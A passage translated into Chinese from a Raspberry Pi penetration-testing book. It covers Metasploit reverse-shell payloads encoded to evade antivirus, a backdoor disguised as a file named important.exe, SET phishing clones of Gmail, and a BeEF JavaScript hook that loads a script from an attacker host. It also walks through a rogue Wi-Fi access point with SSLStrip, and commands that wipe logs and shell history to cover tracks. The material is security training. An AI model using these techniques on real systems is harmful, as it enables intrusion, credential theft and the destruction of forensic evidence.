要设置LHOST参数，输入set LHOST“Kali所在系统的IP”命令，其中“Kali所在系统的IP”就是运行着Kali Linux的树莓派机器的IP地址。可以再一次输入show options命令，确保修改已生效，这时能看到LHOST名称下有一个值了。图4-5把LHOST的值设置为192.168.1.10。
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图4-5

最后输入exploit命令，以上述参数执行该攻击载荷。

如果受害者使用的Java确实有此漏洞，就能收到来自受害者机器的反向shell。要测试这个漏洞攻击，可以在受害者的机器上，打开一个Web浏览器，浏览访问运行Kali Linux那台机器上的网站。例如，在本案例中就是访问192.168.1.10。

正常情况下，受害者并不会主动去访问攻击者的机器。当然在实验室环境用这种方式测试攻击是否成功还是可以的。真实环境中，攻击者会在一个复杂网页里偷偷嵌入这个链接，如在正常页面放入隐藏的iFrame中。还有许多攻击是利用远程漏洞，这时攻击者就可以主动发送攻击载荷了。

一旦受害者浏览访问了攻击者那台运行着攻击手段的机器，攻击载荷就会被加载，受害者被攻破，攻击者获得shell权限（命令行运行环境），得以访问受害者的机器。


[image: 技巧.tif]




可以在测试的机器上安装一个有漏洞的旧版Java。可以用于测试的一个版本是Java 1.7 update 6
[2]

 。在Oracle的网站上可以下载到各种老版本的Java：http://www.oracle.com/technetwork/java/archive-139210.html




4.2.1　用Metasploit创建自己的载荷

Metasploit的另一个常见用法是创建恶意攻击载荷。在计算机领域，载荷这个词的意思是一堆需要传送的数据。而恶意攻击载荷，就是在传输的数据中，加入一些受害者不想收到的内容，比如后门程序。Metasploit提供了无数的攻击载荷选择，一旦安装了这些恶意载荷，就有可能获得系统的管理员访问权限。

大多数安防产品如防病毒软件或IPS的目标都是检测出恶意攻击载荷。然而，Metasploit自带各种编码方式，可以绕过这些传统的防护手段。编码就是在文件中添加随机数据，使它变得样貌迥异。大多数传统安防产品的做法都是对比已知威胁列表，也就是对比病毒签名，如果威胁不在已知列表中，安防产品就检测不到。编码提供了一种方式使攻击载荷看起来独一无二，不会触发已知签名，从而绕过传统的防护。有些人管这叫“零日（0 day）”漏洞，也就是任何商业产品都没有这种威胁的签名也无法识别出来的漏洞。

下一个攻击里会创建一个载荷，再对它进行编码，使之能绕过传统的安防产品而放到目标系统上。攻击载荷可以通过电子邮件或者USB传播，如果攻击成功地获得基本的系统权限，攻击载荷就可以放进目标系统，再利用提权使攻击者获得该系统的访问权限。


[image: 技巧.tif]




最好先在更强劲的系统上创建攻击载荷，再通过树莓派传输过去，而不是直接在树莓派上创建载荷。



下面介绍如何用Metasploit创建一个攻击载荷并进行编码。

第一步先在命令行终端输入msfconsole以启用Metasploit。1～2分钟后，就会看到Metasploit的介绍页了。

可以使用msfpayload
[3]

 这个子项来加载攻击载荷。要查看载荷的相关参数，可以使用msfpayload-h查看有哪些可用格式，而执行msfpayload-l则可以查看实际载荷的选项。在例子中，选取了最常见的一个漏洞，叫reverse_tcp载荷，这个载荷是攻击Windows系统的。图4-6显示了如何选择载荷，如何配置监听地址。图4-6中载荷监听在该系统IP地址的4444端口上。
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图4-6

Metasploit可以产生各种文件格式的攻击程序。在这个例子中，创建的可执行文件叫important.exe，这可以诱使受害者相信它是某项重要更新。请注意，这里就要用上社工手段了，先给文件起个用户乐于接受的名字，再利用社工手段使它得以被成功安装。要创建important.exe文件，可以在原来使用载荷的命令后面，再跟上X > important.exe参数。图4-7展示了如何创建这个文件。
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图4-7

在创建了文件之后，可以在root目录下找到它。困难的一步在于怎样让受害者安装这个文件。如果一切顺利，真的能让Windows用户安装这个程序，那么就获得了用户系统里具有管理员权限的后门程序。这个理念对本章后面提到的其他攻击例子也非常有用。图4-8显示了放在目标计算机上的important.exe文件。
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图4-8

4.2.2　包装攻击载荷

另一个隐藏攻击载荷的方法是把它与另一个受信任的程序打包在一起。例如，可以提示受害者的Adobe Reader版本太旧了，需要升级，然后把正常的升级文件和后门程序打包在一起。当受害者安装 .exe升级文件时，升级成功的同时机器上也被埋入了一个恶意后门。

对于有明确目标的社会工程攻击，这一招很管用。在4.4节时再说具体做法，在那个场景里，会诱使用户点击和下载一个经过打包的攻击载荷。

如何包装载荷程序已经超出树莓派渗透测试这本书的范围了。有不少工具如Senna就用于捆绑打包攻击载荷程序。图4-9展示了Senna Spy One的控制面板如何把一个ROOTKIT和Windows计算器可执行文件打包在一起。当用户运行这个文件时，会弹出计算器程序而ROOTKIT有害载荷也会被安装。如有兴趣，可以去研究下Senna或其他类似的打包工具，学习更多的恶意载荷打包方式。
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图4-9

4.3　社会工程

社会工程攻击的目标是通过误导或欺骗的手段，诱使受害者泄露自己的信息。攻击者往往会伪造自己的身份，假扮成一个受信任的机构或者受害者的亲人，以获得受害者的信任。一旦用户受蒙骗上钩，可能就会交出自己的密码、账号或其他有价值的信息。许多知名黑客都有过仅是客气一问，就套出各种有价值的信息的故事。

Kali Linux包含了许多工具，可协助进行社会工程攻击；然而，最成功的攻击都是基于对攻击对象的充分了解并滥用他们的信任。例如，在像LinkedIn或者Facebook这样的社交媒体资源利用虚假账号，就能获得某些敏感的用户信息，完全不需要高深的技术就能实现。另一种做法是打电话给某人，假装是管理员，或者给目标用户发送电子邮件，假称自己是很久没联系的亲戚。
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可以围观本书作者利用社交媒体执行渗透测试的一项尝试，只要在搜索引擎里搜Emily Williams Social Engineering，或者访问http://www.thesecurityblogger.com/?p=1903
 和http://www.pcworld.com/article/2059940/fake-social-media-id-duped-securityaware-it-guys.html
 就能看到这个社工实验
[4]

 。



在本章中，主要讨论最常用的社交攻击工具也就是SET（Social- Engineer Toolkit，社会工程学套装）。SET可以用在树莓派里，但它在更强劲的系统里运行会比较正常可靠。让树莓派发挥最佳功用的做法，是把它用于目标网络的信息采集勘探，然后再到远程Web服务器上进行钓鱼，创建一个成功的社会工程攻击。

下面在介绍SET的同时，也会介绍另一款很受欢迎的社工软件BeEF，主要用于攻击浏览器。

4.3.1　社会工程工具套装

社会工程学套装（以下简称SET）由TrustSec的David Kennedy开发，默认Kali Linux安装了这个程序
[5]

 。它通常用于复制翻版大家信任的站点如谷歌、Facebook和Twitter，以吸引受害者来访问，再发动针对受害者的攻击。受害者并不知道正在访问的是假冒的站点，攻击者就可以借此收集用户的密码，甚至可能注入一个命令shell，以获得受害者系统的完整访问权限。安全专业人士可以用它来演示为什么信任链也是漏洞的一环，也就是普通用户并不会留意他们输入的敏感信息，只要网站看起来像那么回事。

虽然可以在树莓派上执行SET，然而受害者访问假冒网站的体验，会受限于树莓派的吞吐量。测试时，被攻击者有时候需要等很长时间才会跳转到真正的网站，这有可能导致他们怀疑自己遭受了攻击。因此，建议针对特定用户使用SET，而不是盲目地攻击一批用户，这样才能使树莓派的性能保持良好。

在以下例子里，设置树莓派来克隆Gmail。如图4-10所示，目的是使受害者相信在访问的确实自己的Gmail账号，在登录之后会将其重定向到真正的Gmail站点，但登录信息已经被保存下来了。关键是先让受害者访问SET服务器，当然这一步就要发挥社工能力了。例如，可以用电子邮件发送一个链接，在社交媒体上发布一篇帖子，或使DNS中毒，把域名重定向到攻击用的服务器。攻击者再远程访问树莓派，把偷到的身份信息取回来，完成最终的渗透测试报告。
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图4-10

下面介绍怎样在树莓派上用SET。

要启动SET，请在命令行窗口输入setoolkit，程序会提示是否启用提前预览库（bleeding-edge repos）。提前预览库是Kali里的一项新功能，包括一些受欢迎工具如SET的每日编译打包版。最好是启用提前预览库，并在实际渗透之前，先提前测试预览库，因为可能会有小的差异。图4-11为启用提前预览库。
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图4-11
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提前预览版是获得常用工具最新版本的很不错的做法，然而，有经验的安全专家会发现这些工具常常会有变更，某些功能可能变得无法使用。最好的方式还是在实战使用某工具之前禁用升级，除非有时间测试新发布的更新版本。



SET启动后，需要先同意授权书和软件程序条款，输入yes。这个时候就能看到SET的主菜单了，如图4-12所示。
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图4-12

SET是基于菜单的攻击工具，与其他工具不同，它并不使用命令行。这是由社交工程攻击的特质决定的，攻击的形态各异，需要多重渐进的步骤来完成设置。当部署这类攻击时，命令行形式的工具可能会令人非常困惑。

在本例中，选择1）Social - Engineering Attacks。

图4-13所示为在这项菜单下的内容。
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图4-13

接下来，选择2）Website Attack Vectors（网站攻击因子），这会带出各种不同选项。在这个测试场景里，尝试一个简单的身份收集攻击，选择3）Credential Harvester Attack Method，如图4-14所示。
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图4-14

当选择了Credential Harvester Attack Method选项后，可以再选择使用已预存的模板还是克隆一个网站。其实，大多数模板无法骗到普通用户，所以最好还是克隆一个真实的站点吧。另外，网站是会变化的，因此克隆一个站点可以获得最新的版本网站，更符合受害者印象中的该网站样子。

选择了恰当的选项后，就会提示输入SET要监听哪个网卡的IP地址。如果有多块网卡，需要输入和互联网端相连的那块网卡的IP地址，否则受害者将无法访问到树莓派服务器。

如果选择了Credential Harvester Attack Method下面的2）Site Cloner，之后就需要输入目标克隆网站的完整URL，如https://www.facebook.com
 。如果选择了网站模板，就需要从提供的列表里，选出已有的模板。图4-15展示了部分可用模板样例。注意，这些模板都是非常基础和过时的，也就是说看着可能和正版的网站并不一样。这也是为什么在真实的渗透测试里，应该选择克隆站点。
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图4-15

图4-16中的菜单提供了各种类型的攻击。建议将每一种都测试一下，根据各人喜好和成功率做选择。其中某些攻击需要用到中间人攻击，请参见第3章中间人攻击部分的内容。
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图4-16

在本例中，选择了3）Credential Harvester Attack Method。这种攻击会部署一个假站点，等着受害者登录进来。当受害者看到登录页面并输入自己的登录信息后，受害者将会被重定向到真正的网站去，却不知道所输入的身份信息已经被攻击者窃取，可供日后利用。

图4-17展示了克隆的谷歌登录界面时的情况。
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图4-17

这种攻击的难点在于要蒙骗受害者，使其相信所访问的是真实网页。通常的办法是给受害者发送包含假链接的邮件、在社交媒体网站散布带有钓鱼站点链接的帖子、实施DNS污染等。SET里的许多工具和应用能简化这些任务，但这些内容已超出本书的范围，请自行到SET的网站（https://www.trustedsec.com/social-engineer-toolkit/
 ）了解学习这一工具的更多信息。
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最佳做法是在远程服务器上执行SET攻击而非在树莓派上执行，因为要执行这种攻击需要一定的处理能力。对最终用户来说，攻击是一样的，无论假冒网站是在树莓派还是在外部系统上，其实就是克隆了一个云服务。



4.4　用BeEF钓鱼

Browser Exploitation Framework（浏览器攻击框架，BeEF）是一款集合渗透测试、蜜罐和社会工程的工具。与SET一样，BeEF上也可以运行一个恶意的网站服务。但是，BeEF要找的是客户浏览器端的漏洞。当受害者连上BeEF服务器时，BeEF会尝试在用户系统上挂钩子并检查受害者的浏览器是否可以攻击利用。基于找到的漏洞情况，BeEF提供了一系列可以利用的命令模块，如偷偷截屏或发出哔的声音。当然被注入的系统
[6]

 只有在线时才能访问到。然而，只要注入成功，被渗透的系统和互联网建立连接后，BeEF就能知道并能继续执行命令。关于BeEF，可以浏览以下网站http://beefproject.com/
 获得更详细的信息。
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我在获得授权的情况下，已经用BeEF成功完成一些渗透测试，因为渗透成功时无需修改终端系统，所以也就较少会惊扰到客户端，渗透测试的后续清理也比较少。



在这个用例中，执行的攻击也类似上文的SET；但是，这个攻击是针对受害者浏览器的，而非引诱用户登录某个站点。出于这个目的，也需要克隆一个已有的站点或开发一套令人信服的模板，这样攻击者就意识不到已经受到了攻击。BeEF最大的好处是只要受害者访问过一次有害站点，系统就会被注入。一旦被注入，即使受害者已经离开站点甚至已下线，只要再次上线，仍然可以被攻击。

灵活运用简单的社工技巧，如开设一个虚构的度假电子优惠卡并发布到社交媒体站点上，或者通过电子邮件发送包含有害站点的链接，都能非常有效地吸引受害者访问BeEF服务器。很容易构建一个简单且以假乱真的度假优惠卡站点，只要放上几张图片，用粗体突出一下宣传口号就行了。

图4-18展示了如何在内网用树莓派运行BeEF服务，注入本地用户系统。为了让用户访问BeEF服务器，这个例子里先向受害者发送了一封带有虚构的度假优惠卡链接的电子邮件，诱使其访问BeEF所在的服务器。一旦受害者点击了链接，会看到度假优惠卡并被BeEF注入。这样，当被注入的受害者联网时，攻击者就可以从树莓派远程执行命令了。
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图4-18

下面介绍怎样创建这个攻击场景。

要启动BeEF
[7]

 ，先执行cd /usr/share/beef-xss进入BeEF所在目录，然后如图4-19所示运行名为beef的脚本。
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图4-19

一旦BeEF脚本启动后，就可以通过Web方式访问BeEF控制面板，打开浏览器并访问http://在树莓派上的Kali系统IP地址：3000/ui/panel。图4-20显示了BeEF的主登录界面。
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图4-20

默认用户名和密码都是beef。

与其他社工攻击类似，需要先诱使受害者访问要执行注入的页面。BeEF也自带了一些基本的陷阱演示页面，然而，与SET类似，这些页面都很简单，很可能糊弄不了普通用户。读者可以测试一下，访问http://在树莓派上的Kali系统IP地址:3000/demos/butcher/index.html，就可以看到这些基础页面了。
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在真实的世界里，需要编辑这些演示页面，使其看起来更像真的。你要注入的用户无需一直停留在该页面也能被控制；但如果这些页面看起来就很可疑，用户可能会举报你的站点。另外，还可以在页面里填加一段包含页面劫持功能的JavaScript模板。



一旦用户的系统被注入了，攻击者就可以在BeEF的控制面板中看到受害者的浏览器，还可以发送各种的命令。在某些场景中，可以给用户发送一些复杂和有价值的攻击。在其他的场景中，也许仅能获得客户的一些基本信息。可以用哪些命令取决于受害者正在用的浏览器的类型，以及是否及时升级过浏览器的安全补丁。

图4-21显示了Linux操作系统中可以利用的注入类型。
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图4-21

在Module Tree的树状列表中，就是可利用的攻击手段，可以用于对受害者的浏览器进行注入。
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BeEF的每条命令都有对应的风险等级，定义了这条命令可以成功执行的概率有多大，以及它的恶意行为会惊扰到用户的可能性有多大。强烈建议提前先在实验室环境里攻击类似目标用户环境的效果。测试时发现，很多攻击已无法使用，与宣传里的不太一样。



在一个有漏洞的浏览器使命令获得执行的方法，是诱使用户点击一个包含JavaScript模板的页面。因此，以图4-22所示的例子中，设计了一个以前学校里常见到的蹦蹦跳跳大头针，询问用户是否需要升级浏览器。升级文件包中会包含吻合该浏览器的安装文件但其中也打包了后门程序。创建攻击载荷、对它们进行编码以绕过安全防护的检查、和信任的可执行文件打包等内容，在本章前面的Metasploit
 部分有介绍。
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图4-22

发起攻击的第一步是到BeEF管理控制台，打开Command标签，如图4-23所示。
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图4-23

在这里再点击Social Engineering文件夹，找到Clippy攻击项，如图4-24所示。
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图4-24

请注意，Clippy攻击已经内置了默认设置。通常，会下载一个JavaScript模板和一个图片文件，用作内部站点的页面。访问时还会下载和运行一个EXE文件。在以下的例子中，下载和运行了putty.exe。请注意，执行代码的命令如图4-25所示，但这里的文本框内容超出了显示窗口的宽度。请按照自己的具体需求写任意攻击。
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图4-25

可以设置Clippy在下载前后各显示一段信息。下载前默认的显示信息为：您的浏览器已过时。您希望升级吗？下载后显示：感谢升级！期待给您带来更快速更安全的浏览体验!

由于这项攻击是针对浏览器的，因此与原版在Microsoft Word中出现的大头针动画不同，这个攻击是跨操作系统平台的。任何支持JavaScript的浏览器都可以执行这个攻击。在图4-26中，展示了在Mac OS X计算机上实施这款攻击的场景，这个操作系统上并没有Microsoft Office。
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图4-26

经常有人关心能否不通过BeEF的演示页面，而直接“注入”受害者的浏览器。利用以下JavaScript代码就可以在任意网页上对浏览器进行注入:


%20(function%20()%20{%20var%20url%20=%20%27http:%2f%2f192.168.135.129:3000%2fhook.js%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20% 27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body. appendChild(bf);}})();



在怎样运行JavaScript命令上，可以多多发挥创意。可以让它自动加载，也可以嵌入在广告里，或者各种有创意的方式。只要将上述JavaScript中的IP地址变量替换为你的BeEF服务器地址即可。大家一定注意到在上一个例子中，服务器地址是192.168.135.129，你需要把这个地址替换成自己的BeEF服务器地址。最后是确保受害者的机器能访问到BeEF服务器，否则攻击没法成功。

4.5　恶意接入蜜罐

蜜罐是计算机术语，是一种用于检测、转移和误导尝试攻击计算机系统或网络的陷阱。典型的蜜罐是一台计算机、一段数据或一个看起来蛮像真实网络的某个网段，即使它表面上的隔离或监控也做得很到位。大多数蜜罐会表现为漏洞百出，似乎也有不少有价值的信息，籍此把攻击者从真正的目标引开。

通常有两种形式的蜜罐。最经常使用的是生产环境型蜜罐，它往往用作网络的防护策略之一。生产环境蜜罐通常放在正式网络中，引诱已经突破其他防护的黑客以它为目标，所以这种生产环境里的蜜罐可视为防范系统被攻破后的最后防线了。

另一种形式的蜜罐是纯监控型的，通常放在网络中用于研究经过它的数据。这种形式有点类似中间人攻击，不过蜜罐在里面通常是把自己伪装成一个可信的源，让受害者连上来。一个例子是创建一个假的接入点，让受害者相信这是个可用的网络连接，当受害者使用蜜罐时，攻击者就可以监控流量包括捕获登录的身份信息，这种攻击形式称为恶意接入蜜罐，这种方式由监控型的蜜罐搭配上虚假无线接入点用以诱导访问蜜罐来构成。当然，还有另外一些类型的蜜罐，如高交互性和低交互性的蜜罐、蜜罐客户端等。但大多数这些系统都超出了树莓派的能力。

恶意接入蜜罐在我们看来是最适合用树莓派实现的，因为我们的目标是捕获数据而不是攻破网络防护，另外利用树莓派在移动性上的外形优势，也正适合隐藏这种攻击。

在以下的例子中，创建了一个恶意接入蜜罐，用它作恶意无线接入点，目标是捕获受害者通过它连上网时发送的敏感信息。本例中，把eth0有线网卡作为连接互联网端，用另外一个USB无线网卡来做恶意无线接入服务。当然这种攻击也可以改为互联网和恶意无线接口端都使用无线网络，那样就需要两个USB无线网卡来实现了。只要在攻击之前，先设置好VPN接入，这样攻击者就可以通过VPN从任意地方访问树莓派上的蜜罐了。图4-27所示为要搭建的系统。
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图4-27

下面介绍这套颇受欢迎的名叫easy-creds的应用，并用它创建一个树莓派恶意接入蜜罐。

4.5.1　easy-creds

easy-creds本身就是个Bash脚本，它通过Ettercap和其他工具获得使用身份。Ettercap已经在第3章讨论过了。然而，easy-creds把中间人攻击更往前走了一步，提供了各种工具用于创建一个监控型蜜罐。easy-creds菜单型的工具，提供了ARP欺骗、DHCP欺骗、单向ARP欺骗和创建虚假接入点（AP）等功能。

easy-creds并未预装在树莓派中，需要从以下地址下载：http://sourceforge.net/projects/easy-creds/files/latest/download
 。

下载完成后，执行cd Downloads，切换到下载目录（通常是Downloads目录），如图4-28所示。
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图4-28

执行tar -zxvf easy-* 命令解压刚才下载的安装文件。这会创建一个新的解压目录，可以执行ls命令查看该目录名称。再执行cd命令进入解压目录，最后输入ls命令，就能看到安装脚本了。当然，还需要把安装脚本变成可执行文件，办法是执行chmod　+x installer.sh命令，或者chmod 755 installer.sh。图4-29显示了上述步骤的执行效果。
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图4-29

把安装脚本变成可执行后，输入./installer.sh命令安装easy-creds。在执行了easy-creds的安装脚本后，会看到如图4-30所示的安装操作系统选择菜单。
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图4-30

因为是在Kali Linux上安装，所以从菜单里选择1.Debian/Ubuntu和衍生系统。

接下来需要跟着提示完成安装。安装完成后，就可以输入./easy-creds.sh命令来启动easy-creds。图4-31显示了安装结束后，运行easy-creds的方式。
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图4-31

如上执行了.sh文件后，就会在图4-32中看到easy-creds的菜单项。在不同的版本中，easy-creds会经常轻微地调整菜单的顺序，所以读者所用的版本可能与图4-32不完全相同。本例中，选择1，Prerequisites & Configurations for configurations。
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图4-32

设置蜜罐的第一步是为要攻击的受害者分发可用的IP地址。要做到这点，得安装一个DHCP服务器。如果在安装DHCP服务器时碰到错误，那很可能是在做其他练习或安装其他工具时已经顺便装过DHCP服务器了。

在图4-33所示的配置菜单项中，选择3. Install dhcp server来安装DHCP服务器。
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图4-33

装好DHCP服务器后，需要选择图4-33中的选项5. Add tunnel interface（添加通道接口）。

然后，在配置文件内容里往下翻到设置DHCP服务器的接口配置项。这里需要手工设置，如果无线网络使用的是wlan0这个网卡，则在接口配置里输入wlan0，如图4-34所示。
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图4-34

一旦完成添加无线网卡的设置后，再选择回退到前面的菜单项。也就是选择图4-33菜单里的9. Previous Menu。现在，设置一个虚假接入点（FakeAP）攻击，选择3. FakeAP Attacks，如图4-35所示。
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图4-35

接下来还有几个选项。在这个例子中，选择图4-36中的FakeAP Attack Static选项，也就是第一项。
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图4-36

接下来会看到弹出提示，问是否需要包含sidejacking攻击（一种会话劫持攻击）。Sidejacking的劫持行为，是根据已登录的Web会话，使用代表受害者身份的信息去访问特定服务器。如果有人访问蜜罐并登录这些会话对应的网站，这种劫持就很有用了。因此，例子中这个选项选择Yes。

下一步，会看到提示要选择连接互联网端的网卡。大多数情况下这块网卡都是eth0，基本的设计思路就是树莓派的wlan0接口提供恶意无线接入，再把流量通过eth0的有线网口转往互联网。要达到这个效果，当然也可以用两块USB无线网卡来做，一块连接互联网，另一块做恶意无线接入。这种攻击方式的问题是可信的和假的无线接入点都会对外广播自己的信息，除非真的无线网络关闭了对外广播，如使用tether模式的手机。这里还是只讨论使用有线网卡连接互联网端的方式。

在选择了互联网接口后，会提示填入一些其他细节，如需要把日志文件保存在哪里，以及DHCP地址空间。填完以上内容，也完成了基础的配置。

现在就有一个可用的恶意无线蜜罐了，可以对外广播以吸引用户加入。如果客户接入网络并使用明文文本协议，信息就会被捕获并展示在easy-creds里。如果用户尝试访问HTTPS站点，easy-creds也会尝试使用SSLStrip把用户重定向到非加密网页。在第3章中介绍过SSLStrip，图4-37展现了当用户使用恶意无线网络时，蜜罐捕获到的受害者登录Facebook时的身份信息。
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图4-37

现在，树莓派已经是一个功能完整的恶意接入蜜罐，可以把捕获的密码保存到指定的日志文件中。读者可以在最后撰写渗透测试报告时，再远程访问这个日志。如需获取更多关于easy-creds的信息，请访问 http://sourceforge.net/projects/easy-creds/
 。

总结

本章讨论的重点是在入侵内网后，怎样从树莓派发起有效的攻击。主题包括以各种形式的攻击载荷、社工技术、浏览器攻击和部署恶意接入蜜罐来突破系统，通过漏洞获得系统的控制权或偷取到用户的身份凭证。在这些领域，探讨了用树莓派执行基本渗透测试的知识。但显然学海无涯，还有许多未覆盖到的知识点。本章的内容仅是用树莓派做授权渗透测试的基本介绍，让读者有个总体概念。

下一章介绍做完渗透测试之后还要做什么。内容包括如何清理日志和消除痕迹，要尽量做到神不知鬼不觉，以避免留下取证证据。也会谈到如何收集数据，以撰写出专业的渗透测试报告，在交付报告时展示自己的服务价值。




[1]
 　译者注：默认树莓派版本的Kali也没有安装Metasploit，如果输入msfconsole报错，可执行apt-get install metasploit-framework先安装所需程序。


[2]
 　译者注：原文这里写着1.0.7_6，实在是觉得作者写错了！


[3]
 　译者注：从2015年6月起，msf就不再使用msfpayload这个命令了，而改用msfvenom这个命令，所以后文中提到的所有msfpayload命令，实际上都需要改为msfvenom。


[4]
 　译者注：两位作者通过社交媒体，创造了一位虚拟的女性Emily Williams，并把她塑造成某企业的IT支持人员，在社交网络上，不少人把她加为好友，并点评了她的能力。在人们逐渐信任她之后，“她”对目标公司的友邻发出了钓鱼性质的邮件，内含一张有危害的图片。最后成功入侵目标公司的内网，得到VPN密码，还给Emily Williams创建了那个公司的邮箱。


[5]
 　译者注：现在Kali Linux ARM版里并没有这个套装。需要的话可以到https://github.com/trustedsec/social-engineer-toolkit/releases
 下载最新版本，解压后执行python setup.py安装。


[6]
 　译者注：原文是hook，没有特别好的中文表达，就用了“注入”。


[7]
 　译者注：树莓派版Kali默认没有BeEF这个程序，需要到它的官方站点http://beefproject.com/
 下载安装包，解压后执行./install并根据后续提示安装。








第5章　结束渗透测试的工作

如果在自己的实验环境里，用树莓派测试内网渗透，那确实很好玩。但有些情况下，可能要在真实环境中发挥它的作用。这个时候，把工作做得有始有终就非常关键了。对提供渗透测试服务的人来说，必须展示足够的证据，证明找到的漏洞，如果做不到，将来所做的渗透测试价值就堪忧了。这意味着一切都要有文档，不能因为渗透服务而遗留下各种问题。作为攻击者来说，还需要尽量抹除自己的痕迹，这样相关的机构就没法再通过一些取证手段反查到攻击者了。

渗透测试作为一种给网络系统挑毛病的付费服务，显然犯了类似说别人孩子长得丑的忌，客户对所找出的问题可能会反跳。所以要对整个过程做好文档记录，保证漏洞是可重复的，确保网络状态与刚开始准备做渗透测试时是一致的。文档需要对技术和非技术人员分别定制裁剪，因为这两种人都可能对是否购买这项服务有决定权。另外，也务必多留意渗透任务开始时的系统状态，包括客户提供的各种信息。还可以利用白盒、黑盒和灰盒测试等手段，深入了解渗透测试初始阶段的用户环境。

结束渗透测试时，格外多关注在执行任务时留下的痕迹是另一个要点。很多攻击工具都会对系统功能有影响，甚至可能造成宕机，绝大多数客户可不会愿意碰到这种事情。上述及其他类型的问题，可能会惊动系统管理员调整自己的安全策略。这会使得要完成渗透比原来更加艰难，而且这就和真正的渗透测试模拟有差异了，真正的攻击者不会收尾这么不干净并被发现。管理员可能会在漏洞被上报之前修复各种已知的漏洞，这会使得最后的报告的价值降低。所以除非服务的提供方式是非常明确的，也就是涉及的各方都知道要对特定的系统进行渗透服务，否则，做的所有事情希望对目标应该是隐蔽的。

本章讲解了以下内容：


	掩盖痕迹；

	清除日志；

	掩盖网络痕迹；

	ProxyChain代理链；

	把树莓派重置到出厂设置状态；

	远程销毁Kali Linux；

	整理报告；

	使用截图；

	压缩文件。
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在执行任何渗透测试任务前，必须获得相关方面的同意。双方同意后应以书面形式确认，并由法律代表复核并以书面形式签字为证，以规避在授权的渗透测试中因为负面结果而带来的风险。如果你是个没有获得授权的黑客，那请自求多福，千万别被抓到。



5.1　掩盖痕迹

对渗透测试人员或网络犯罪者来说，最后马脚败露的关键原因往往就是攻进系统后没有清理干净自己的痕迹。可以取证的证据包括数字网络痕迹（IP地址、在网络出入口上的网络流量类型等，不一而足），以及被攻击终端上的各种日志。使用的工具也会留下证据，包括从树莓派发起某些恶意行为的工具也会如此。比如，在树莓派上执行more～/.bash_history命令，就能看到曾经用过的历史命令列表。

对树莓派黑客来说，好消息是不用考虑ROM这样的存储设备，因为树莓派唯一的存储方式就是microSD卡，这也意味着攻击者重写一下microSD卡就可以毁灭树莓派上的证据。在这么做之前，从攻破系统开始到最后重新创建树莓派的新映像，一步步看下清理的过程。
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要达到这个目的，可以使用在第1章介绍过的格式化SD卡工具。也可以根据第1章里介绍的步骤，在执行渗透之前，先备份系统的映像，在完成任务后，再把树莓派上的系统恢复成之前的样子，这样之前的操作就被彻底掩藏起来了。



5.2　清除日志

要执行的第一步，就是清理所入侵系统的事件日志，用以掩藏操作痕迹。如果入侵的是Windows系统，Kali Linux在Metasploit里有个叫clearev的工具可以自动实现这个功能。clearev可以访问Windows系统并清除日志。对系统特别关注的管理员，有可能会留意到日志被清理过这一变化。然而，大部分的管理员都不会注意到其中的差异。另外，因为日志被清除了，最多也不过是管理员知道自己的系统被入侵过，而入侵期间做过什么的记录，也随着日志消失了。

clearev是Metasploit的一个组成部分。如果用Meterpreter入侵到Windows系统了，可以使用clearev清理日志，方法是在meterpreter > 提示后输入clearev。无需其他配置即可运行，也就是一旦执行，日志就全被删除了。

图5-1展示了这条命令执行时的场景。
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图5-1

图5-2则是日志删除前后的对比效果。
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图5-2

删除入侵的Windows系统日志的另一种方式是安装Windows日志清理工具。可以下载到各种日志清理工具，如ClearLogs下载地址在http://ntsecurity.nu/toolbox/clearlogs/
 。这类程序的使用很简单，基本上就是在已完成渗透测试的系统上安装和运行一下即可。也可以手工执行命令来删除日志C:\ del %WINDR%* .log /a/s/q/f。命令里使用 /a参数意味着包括所有日志文件，/s是包括子目录，/f是跳过删除确认提示，直接强制删除。
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不管用哪种程序，一旦清理完日志文件后，也要确保删除该工具，以免以后系统检查时被发现。



对于Linux系统，需要对/var/log目录有权限才能看到系统日志文件。如果确实有这些日志文件的操作权限，只要浏览并删除这些条目即可。图5-3展示了我的树莓派上的/var/log日志目录。
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图5-3

可以用删除命令rm来删除这些文件，如执行rm文件名.txt或删除整个目录；然而这样删除文件来清除痕迹还不够隐秘。另一种做法是用Bash。只需要输入“> /文件完整路径”就能清空文件的内容但又不需要删除文件。这种做法更隐秘一些。

Kali Linux没有图形界面的文本编辑器，可以安装简单易用的此类工具gedit，使用apt-get install gedit命令下载安装即可。安装完成后，可以在application类别菜单中找到它，或者直接在终端窗口里输入gedit。如图5-4所示，界面和许多常规的文本文件编辑器很相似。点击File菜单，从/var/log目录里选择需要修改的文件。
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图5-4

另外，还需要清理命令历史纪录，因为bash shell自动保存了最后500条命令的记录，取证时只要输入more ~/.bash_history就能看到。图5-5显示了我在树莓派上执行的最开始几百条命令。
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图5-5

要确认存储在历史记录文件里的命令条数，可以输入echo $HISTSIZE。要删除这些记录也只要输入export HISTSIZE=0。从这时候开始，shell就不会再保存任何命令记录了，此时即使按上翻键，也不会显示上一条命令了。
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设置历史记录条数的命令也可以加在Linux主机的.bashrc文件中。



图5-6所示为系统存储着最近执行的500条命令时的状态，也显示了清除历史日志之后的情况。
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图5-6
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在入侵的系统上，最好一开始就执行这条命令，这样以后也不会存储任何历史纪录了。只要执行了export HISTSIZE=0命令清除了历史纪录，即使退出登录，再次登录回来这条设置仍然有效。如果担心会被检查牵连，在完成渗透测试之后，在你的C&C服务器上也应该这么设置。



在Linux系统上，更激进更快捷地删除历史文件的方法，如图5-7所示，使用shred -zu /root/.bash_history命令彻底清除历史记录，这样会完全重置历史文件的内容。这个命令会用空字符重写整个历史纪录文件然后再删除日志文件。要确认这点，可以执行less /root/.bash_history看看历史纪录文件中的内容。
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图5-7

5.3　掩盖网络痕迹

除非不介意自己的举动被查到，否则千万不要从自己的家庭网络里直接发起攻击，因为这样会被追踪到。最常见的做法是在攻击者和被攻击者之间，使用代理或多层代理，以隐藏真实的源IP地址。简单来说，代理是客户端获取另一个系统资源时的中间媒介。目标端只知道流量来自中介系统，而不知道真正的源在哪里。层级的代理就像洋葱，用常规的取证监察方式很难找出真正的源。

网络上有诸多免费的代理。可以在谷歌搜索Free Anonymous Web Proxy Server（免费匿名Web代理服务器），就能找到各种风格的代理，如Proxify、Anonymouse、Anonymizer和Ninja Cloak等，图5-8展示了Anonymouse的页面，以及介绍如何通过代理匿名上网的信息。要使用它们的服务，只需要在图5-8的网址搜索框中，输入希望访问的网页地址即可。
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图5-8
